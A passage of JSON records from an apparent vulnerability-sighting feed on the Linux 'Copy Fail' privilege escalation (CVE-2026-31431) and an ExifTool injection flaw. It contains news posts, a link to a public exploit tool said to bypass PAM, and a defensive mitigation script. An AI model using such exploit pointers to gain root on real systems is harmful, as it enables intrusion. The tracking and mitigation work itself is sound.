"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/SecLabNews/17683", "content": "\ud83d\ude1e10 \u0441\u0442\u0440\u043e\u043a Python \u2192 root \u043d\u0430 \u043b\u044e\u0431\u043e\u043c Linux \u0441 2017 \u0433\u043e\u0434\u0430. \u0412\u0441\u0442\u0440\u0435\u0447\u0430\u0439\u0442\u0435 Copy Fail\n\n\u0412 Linux \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Copy Fail, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u044b\u0447\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0434\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0434\u043e root-\u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0447\u0435\u0440\u0435\u0437 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043d\u043e\u043c\u0435\u0440 CVE-2026-31431 \u0438 \u0443\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u0430 \u043f\u0430\u0442\u0447\u0430\u043c\u0438 \u0432 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u044f\u0434\u0440\u043e Linux \u0438 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u0430 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0445 \u0441\u0440\u0435\u0434, CI/CD-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u0438\u0441\u0442\u0435\u043c, \u0433\u0434\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442: Python-\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0435\u0433\u043e \u043d\u0430 10 \u0441\u0442\u0440\u043e\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u0441 \u0444\u043b\u0430\u0433\u043e\u043c setuid \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u0423\u0434\u0430\u043b\u0451\u043d\u043d\u043e Copy Fail \u0441\u0430\u043c\u0430 \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043d\u043e \u043f\u043e\u0441\u043b\u0435 RCE, \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 SSH \u0438\u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0441\u0431\u043e\u0440\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u043c \u043f\u0443\u0442\u0451\u043c \u043a \u043f\u043e\u043b\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439. Debian, Ubuntu, SUSE \u0438 Red Hat \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n#Linux #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n@SecLabNews", "creation_timestamp": "2026-09-03T00:00:40.807975Z"}, {"uuid": "0d2cc01e-24ad-4399-80e5-36ceb4f7c7cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://t.me/Russian_OSINT/7195", "content": "\u041a\u0430\u043d\u0430\u043b \ud83d\udd28SecAtor \u2014 @true_secator \u043f\u0438\u0448\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435:\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-3102 \u0432 ExifTool, \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0432, \u043a\u0430\u043a \u043e\u0434\u043d\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 Mac.\n\nExifTool\u00a0- \u044d\u0442\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0430\u044f \u0443\u0442\u0438\u043b\u0438\u0442\u0430 \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439, PDF, \u0430\u0443\u0434\u0438\u043e \u0438 \u0432\u0438\u0434\u0435\u043e. \u041e\u043d\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043a\u0430\u043a \u0432 \u0432\u0438\u0434\u0435 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438, \u0442\u0430\u043a \u0438 \u0432 \u0432\u0438\u0434\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0432 \u0434\u0440\u0443\u0433\u043e\u0435 \u041f\u041e.\n\nCVE-2026-3102 \u0432 ExifTool \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0430\u043c\u0438 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0433\u0440\u043e\u0437 (GReAT) \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043c\u0435\u0441\u044f\u0446\u0435.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b macOS \u0441 ExifTool 13.49 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439. \u0412 \u043e\u0441\u043d\u043e\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u0435\u0436\u0438\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043e\u0447\u0438\u0441\u0442\u043a\u0430 (\u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u044f) \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 ExifTool \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0435\u0433\u043e\u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432 macOS.\n\n\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0432 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u043c\u0438, \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c\u0438 \u0432 \u043f\u043e\u043b\u0435 \u0434\u0430\u0442\u044b \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043f\u0440\u043e\u0432\u043e\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0444\u0430\u0439\u043b\u0430.\n\n\u041d\u0430\u0439\u0442\u0438 \u043d\u043e\u0432\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2021-22204, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432 \u041b\u041a \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u043c\u043d\u043e\u0433\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0443\u044e \u043e\u0447\u0438\u0441\u0442\u043a\u0443 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u043f\u0435\u0440\u0435\u0434 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0432\u0432\u043e\u0434\u0430 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e-\u043f\u0440\u0438\u0435\u043c\u043d\u0438\u043a\u00a0eval.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0435\u0434\u043d\u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0432\u0432\u043e\u0434\u0430 \u0432 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435 ExifTool \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0445 \u0443\u043f\u0443\u0449\u0435\u043d\u0438\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u041b\u041a \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438  CVE-2026-3102.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2026-3102 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0432\u0448\u0435\u0433\u043e ExifTool, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-09-03T00:00:45.683026Z"}, {"uuid": "e1ff3ea6-3346-490e-acec-c4ef406752f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/HackingTeamGrupoOfficial/45787", "content": "copyfail-rs #exploit #scanner\nExploit and detect CVE-2026-31431 vulnerabilities using a static binary that monitors system integrity and bypasses PAM authentication.\n\nhttps://github.com/Liverwortenuresis371/copyfail-rs", "creation_timestamp": "2026-09-03T00:00:48.732616Z"}, {"uuid": "14282c13-41f8-4897-9526-f56d1701922b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/HackingTeamGrupoOfficial/45656", "content": "OJO! Vulnerabilidad critica \"copy.fail\" CVE-2026-31431 en el Kernel de Linux. \u00bfPor qu\u00e9 estas cosas no las publican un martes a las 11:15 de la ma\u00f1ana y no se esperan a un s\u00e1bado?\ud83e\udee5\n\n\u00bfQu\u00e9 es ? Permite a un usuario normal / atacante dentro de un contenedor tomar el control total del servidor (root). Especialmente atenci\u00f3n a entornos como Proxmox \ud83d\ude35\u200d\ud83d\udcab\n\n\u00bfC\u00f3mo? El kernel de Linux maneja los sockets de la familia AF_ALG. Estos sockets permiten que los programas del espacio de usuario ( normales) accedan a los algoritmos criptogr\u00e1ficos del propio kernel.\n\n\u00bfQu\u00e9 hacer?\n\n1- \"lsmod | grep algif_aead\" para ver si tienes el modulo cargado.\n\n2- \"rmmod algif_aead\" Si lo quieres vaciar de la memoria sin reiniciar.\n\n3- \"# echo \"install algif_aead /bin/false\" > /etc/modprobe.d/disable-algif.conf\n# update-initramfs -u -k all\" Si no quieres que se vuelva a cargar en memoria.\n\n4- \"apt update && apt dist-upgrade\" Ya tu sabeh \ud83d\ude09\n\n5- \"uname -r\" y si ves: \"6.17.13-6-pve\", ir a desayunar un buen caf\u00e9 con churros\", que os lo hab\u00e9is ganado", "creation_timestamp": "2026-09-03T00:00:48.262676Z"}, {"uuid": "a36f33e9-be27-4da8-add6-4ca0e63fce96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/mm5XOoCgkSF4JidvfV_qkRP1ng_5vaxjmtcUSSoHEg973b8", "content": "", "creation_timestamp": "2026-09-03T00:00:49.837685Z"}, {"uuid": "e7fe6b93-d839-4e73-b48c-2cd709ec30ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31321", "type": "published-proof-of-concept", "source": "Telegram/y_ppx2WWa40cV5hBHui4bTL2VMdA_tcaI4VaugdhOfmt8Lg", "content": "", "creation_timestamp": "2026-09-03T00:01:00.031620Z"}, {"uuid": "a1aa9d93-b5ae-444a-a9bd-32fadb32bbe5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31278", "type": "published-proof-of-concept", "source": "Telegram/XmAeLpCnDR7fQWWs5ZgvKZOpllMiY_5ATwXxwRV07Zq46AA", "content": "", "creation_timestamp": "2026-09-03T00:00:54.160251Z"}, {"uuid": "2fefc8cc-1e97-4851-aab4-d694849e3f47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Cvar1984/c32ea1598fdf727c699e47d7ff5c8e57", "content": "#!/usr/bin/env bash\n#\n# lpe2026-mitigate.sh \u2014 compensating controls for the 2026 kernel page-cache LPE chain\n#\n# Covers:\n#   CVE-2026-31431            \"Copy Fail\"   \u2014 algif_aead / af_alg (AF_ALG crypto API)\n#   CVE-2026-43284/CVE-2026-43500  \"Dirty Frag\"  \u2014 in-place decrypt in esp4/esp6/rxrpc\n#   CVE-2026-46331            \"pedit COW\"   \u2014 act_pedit (tc packet editor)\n#   (blacklisting esp4/esp6/rxrpc also covers CVE-2026-43503 \"DirtyClone\", which\n#    shares the same in-place-decrypt root cause)\n#\n# All of these let an unprivileged local user corrupt page-cache pages backing\n# read-only files (e.g. setuid binaries) and escalate to root. These are\n# workarounds pending the vendor kernel update for your distro \u2014 install and\n# reboot onto the patched kernel when it's available; this script only reduces\n# exposure until then.\n#\n# Sources consulted: access.redhat.com/security/vulnerabilities/RHSB-2026-002,\n# tuxcare.com/blog/dirty-frag-cve-2026-43284-cve-2026-43500-kernelcare-live-patches-released,\n# thecybersecguru.com/news/linux-lpe-pedit-cow-dirtyclone-cve-2026-46331-cve-2026-43503\n#\n# Tested distro families: RHEL / AlmaLinux / CentOS (dnf|yum + grubby),\n# Ubuntu (apt + update-grub).\n#\n# Usage:\n#   lpe2026-mitigate.sh                    # status + dry-run preview, no changes\n#   lpe2026-mitigate.sh --apply             # mitigate Copy Fail + pedit COW (low risk)\n#   lpe2026-mitigate.sh --apply --include-dirtyfrag   # also esp4/esp6/rxrpc (breaks IPsec/AFS)\n#   lpe2026-mitigate.sh --apply --disable-userns       # also lock down unprivileged userns\n#   lpe2026-mitigate.sh --apply --include-dirtyfrag --disable-userns --dry-run  # preview the full plan\n#   lpe2026-mitigate.sh --revert            # undo everything this script applied\n#   lpe2026-mitigate.sh --revert --dry-run  # preview what a revert would remove\n#\nset -euo pipefail\n\nMODPROBE_DIR=/etc/modprobe.d\nSTATE_DIR=/var/lib/lpe2026-mitigations\nLOG_FILE=/var/log/lpe2026-mitigations.log\nSYSCTL_CONF=/etc/sysctl.d/99-lpe2026-userns.conf\nBOOT_PARAM=\"initcall_blacklist=algif_aead_init\"\n\nAPPLY=0\nINCLUDE_DIRTYFRAG=0\nDISABLE_USERNS_FLAG=0\nASSUME_YES=0\nDO_REVERT=0\nDRY_RUN_FLAG=0\nDRY_RUN=0\nFAMILY=\"\"\n\n# log()/warn() skip the on-disk log during a dry run so a preview never\n# touches disk \u2014 dry() below is stdout-only for the same reason.\nlog() { local m; m=\"[$(date -Is)] $*\"; echo \"$m\"; [[ \"$DRY_RUN\" == 1 ]] || { echo \"$m\" >>\"$LOG_FILE\" 2>/dev/null || true; }; }\nwarn() { local m; m=\"[$(date -Is)] WARNING: $*\"; echo \"$m\" >&2; [[ \"$DRY_RUN\" == 1 ]] || { echo \"$m\" >>\"$LOG_FILE\" 2>/dev/null || true; }; }\ndry() { echo \"  [DRY-RUN] $*\"; }\n\nusage() {\n  cat <&2\n    exit 1\n  fi\n}\n\ndetect_family() {\n  local id id_like all\n  # shellcheck disable=SC1091\n  . /etc/os-release\n  id=\"${ID:-}\"; id_like=\"${ID_LIKE:-}\"\n  all=\" $id $id_like \"\n  if [[ \"$all\" =~ (rhel|centos|almalinux|fedora) ]]; then\n    echo rhel\n  elif [[ \"$all\" =~ (debian|ubuntu) ]]; then\n    echo debian\n  else\n    echo unknown\n  fi\n}\n\nconfirm() {\n  local prompt=\"$1\"\n  [[ \"$ASSUME_YES\" == 1 ]] && return 0\n  if [[ ! -t 0 && ! -e /dev/tty ]]; then\n    warn \"Non-interactive and --yes not given; refusing: $prompt\"\n    return 1\n  fi\n  local reply\n  read -r -p \"$prompt [y/N] \" reply /dev/null >\"$statefile\" || true\n}\n\nrestore_prior_sysctl() {\n  local key=\"$1\" statefile=\"$STATE_DIR/sysctl.$key\"\n  if [[ -f \"$statefile\" ]]; then\n    local val; val=\"$(cat \"$statefile\")\"\n    if [[ -n \"$val\" ]]; then\n      sysctl -w \"$key=$val\" >/dev/null && log \"Restored $key=$val (prior value).\"\n    fi\n    rm -f \"$statefile\"\n  fi\n}\n\nwrite_blacklist() {\n  local file=\"$1\"; shift\n  local path=\"$MODPROBE_DIR/$file\"\n  if [[ \"$DRY_RUN\" == 1 ]]; then\n    dry \"Would write $path, blocking future loads of: $*\"\n    return\n  fi\n  : >\"$path\"\n  local mod\n  for mod in \"$@\"; do\n    echo \"install $mod /bin/false\" >>\"$path\"\n  done\n  log \"Wrote $path blocking future loads of: $*\"\n}\n\nunload_modules() {\n  local mod\n  for mod in \"$@\"; do\n    if lsmod | grep -qw \"^$mod\"; then\n      if [[ \"$DRY_RUN\" == 1 ]]; then\n        dry \"Would unload module $mod (currently loaded).\"\n      elif modprobe -r \"$mod\" 2>/dev/null; then\n        log \"Unloaded module $mod.\"\n      else\n        warn \"$mod is loaded and busy \u2014 could not unload now. Blacklist stops reload, but the in-memory module stays until released or you reboot.\"\n      fi\n    else\n      if [[ \"$DRY_RUN\" == 1 ]]; then\n        dry \"Module $mod not currently loaded \u2014 nothing to unload.\"\n      else\n        log \"Module $mod not currently loaded.\"\n      fi\n    fi\n  done\n}\n\ncheck_module_status() {\n  local mod=\"$1\" blacklisted=\"no\" loaded=\"no\"\n  if grep -rlqF \"install $mod /bin/false\" \"$MODPROBE_DIR\" 2>/dev/null; then\n    blacklisted=\"yes\"\n  fi\n  if lsmod | grep -qw \"^$mod\"; then\n    loaded=\"yes\"\n  fi\n  printf \"  %-14s blacklisted=%-4s currently_loaded=%s\\n\" \"$mod\" \"$blacklisted\" \"$loaded\"\n}\n\nadd_boot_param() {\n  local param=\"$1\"\n  case \"$FAMILY\" in\n    rhel)\n      if ! command -v grubby >/dev/null 2>&1; then\n        warn \"grubby not found; add '$param' to the kernel cmdline manually.\"\n        return\n      fi\n      if grubby --info=ALL 2>/dev/null | grep -q \"$param\"; then\n        log \"Boot parameter '$param' already configured.\"\n      elif [[ \"$DRY_RUN\" == 1 ]]; then\n        dry \"Would run: grubby --update-kernel=ALL --args=\\\"$param\\\" (reboot required to take effect).\"\n      else\n        grubby --update-kernel=ALL --args=\"$param\"\n        log \"Added boot parameter '$param' via grubby. REBOOT REQUIRED to take effect.\"\n      fi\n      ;;\n    debian)\n      local grub_file=/etc/default/grub\n      if [[ ! -f \"$grub_file\" ]]; then\n        warn \"$grub_file not found; add '$param' to the kernel cmdline manually.\"\n        return\n      fi\n      if grep -q \"$param\" \"$grub_file\"; then\n        log \"Boot parameter '$param' already present in $grub_file.\"\n        return\n      fi\n      if [[ \"$DRY_RUN\" == 1 ]]; then\n        dry \"Would back up $grub_file to ${grub_file}.bak., append '$param' to its GRUB_CMDLINE_LINUX_DEFAULT, and run update-grub (reboot required).\"\n        return\n      fi\n      cp \"$grub_file\" \"${grub_file}.bak.$(date +%s)\"\n      if sed -i -E \"s/^(GRUB_CMDLINE_LINUX_DEFAULT=\\\")([^\\\"]*)\\\"/\\1\\2 $param\\\"/\" \"$grub_file\" \\\n        && grep -q \"$param\" \"$grub_file\"; then\n        update-grub\n        log \"Added boot parameter '$param' to $grub_file and ran update-grub. REBOOT REQUIRED.\"\n      else\n        warn \"Could not auto-edit $grub_file \u2014 add '$param' to GRUB_CMDLINE_LINUX_DEFAULT manually, then run update-grub.\"\n      fi\n      ;;\n  esac\n}\n\nremove_boot_param() {\n  local param=\"$1\"\n  case \"$FAMILY\" in\n    rhel)\n      if ! command -v grubby >/dev/null 2>&1; then\n        return\n      fi\n      if [[ \"$DRY_RUN\" == 1 ]]; then\n        grubby --info=ALL 2>/dev/null | grep -q \"$param\" \\\n          && dry \"Would run: grubby --update-kernel=ALL --remove-args=\\\"$param\\\" (reboot required).\"\n      else\n        grubby --update-kernel=ALL --remove-args=\"$param\" \\\n          && log \"Removed boot parameter '$param' via grubby. REBOOT REQUIRED.\"\n      fi\n      ;;\n    debian)\n      local grub_file=/etc/default/grub\n      if [[ -f \"$grub_file\" ]] && grep -q \"$param\" \"$grub_file\"; then\n        if [[ \"$DRY_RUN\" == 1 ]]; then\n          dry \"Would back up $grub_file to ${grub_file}.bak., remove '$param' from it, and run update-grub (reboot required).\"\n        else\n          cp \"$grub_file\" \"${grub_file}.bak.$(date +%s)\"\n          sed -i -E \"s/ ?${param}//g\" \"$grub_file\"\n          update-grub\n          log \"Removed boot parameter '$param' from $grub_file. REBOOT REQUIRED.\"\n        fi\n      fi\n      ;;\n  esac\n}\n\nmitigate_copyfail() {\n  echo \"-- CVE-2026-31431 Copy Fail (algif_aead / af_alg) --\"\n  write_blacklist \"lpe2026-copyfail.conf\" algif_aead af_alg\n  unload_modules algif_aead af_alg\n  if modinfo algif_aead >/dev/null 2>&1; then\n    log \"algif_aead is a loadable module \u2014 modprobe blacklist is sufficient, effective immediately.\"\n  else\n    log \"algif_aead has no separate .ko on this kernel (likely built-in) \u2014 adding boot-param fallback.\"\n    add_boot_param \"$BOOT_PARAM\"\n  fi\n}\n\nmitigate_pedit() {\n  echo \"-- CVE-2026-46331 pedit COW (act_pedit) --\"\n  write_blacklist \"lpe2026-pedit.conf\" act_pedit\n  unload_modules 